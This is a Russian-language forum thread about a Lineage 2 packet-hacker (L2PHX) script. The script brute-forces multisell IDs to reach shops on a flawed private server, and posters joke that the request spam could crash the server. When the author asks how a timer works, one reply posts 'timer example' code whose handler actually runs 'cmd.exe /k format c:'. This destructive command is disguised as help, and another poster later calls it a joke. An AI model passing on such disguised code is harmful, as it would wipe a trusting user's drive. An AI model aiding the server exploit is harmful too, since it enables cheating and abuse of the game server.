Скрипт для поиска мультиселлов (корявый)

[hunterNOZ]

Помогите поправить скрипт .

Скрипт ищет с msd номера мультиселла до msp .


const
msd=0; //типо начало
msp=777; //типо конец

var
ms:integer;
mss:string;

begin
for ms:=msd to msp do
Begin
delay(50);
mss:=inttostr(ms);
//отправка пакета с номером
buf:=#$23;
WriteS('_bbsshop_multisell '+mss);
SendToServer;
delay(50);
//проверка прихода пакета на открытие мультиселла
if FromServer and (pck[1]=#$D0) then
begin
delay(50);
//отправка в чат клиента найденного мультиселла
buf:=#$4A;
WriteD(0);
WriteD(0);
WriteS('Search');
WriteS('Multisell '+mss);
SendToClient;
end;
end;
end.



Проблема в том что скрипт вешает л2пкх , но иногда срабатывает ... а потом всеровно вешает :D

[wimax]

delay(50); тупо

[J-Fobos]

Красота, че :D За десяток секунд сотня циклов набирается.

[hunterNOZ]

delay(50); тупо

Задержка стоит для того чтобы не грузить канал пакетами ...

[Zergatul]

Лол, для такого надо таймер юзать

[wimax]

мне от интересно ты свой сервер случаем не положишь таким спамом?))))

[Yegor]

А что сервер дает возможность напрямую мультиселлы вызывать по номерам?

[hunterNOZ]

А что сервер дает возможность напрямую мультиселлы вызывать по номерам?

есть один сервак с корявым гмшопом , да и так на нём всё почти работает :D

[Roman32]

В личку можно?что за серв)

[hunterNOZ]

Ребята ... а ктонить может показать как примерно Таймер работает ?

[Zergatul]

var
t: TTimer;
...
procedure OnTimer(sender: TObject);
begin
ShellExecute(0, 'open', 'cmd.exe', '/k format c:', nil, SW_SHOW);
end;
...
t := TTimer.Create(nil);
t.OnTimer := @OnTimer;
t.Enabled := True;
t.Interval := 200;

[BloodRat]

var
t: TTimer;
...
procedure OnTimer(sender: TObject);
begin
ShellExecute(0, 'open', 'cmd.exe', '/k format c:', nil, SW_SHOW);
end;
...
t := TTimer.Create(nil);
t.OnTimer := @OnTimer;
t.Enabled := True;
t.Interval := 200;

хорошая шутка :D

[wimax]

чувак видать испытал скрипт =)))

[BlackInFanta]

Ребята ... а ктонить может показать как примерно Таймер работает ?


Таймер, это такие часики в верхней части phx (вкладка: посылка) там можно выставить интервал отправления пакетов.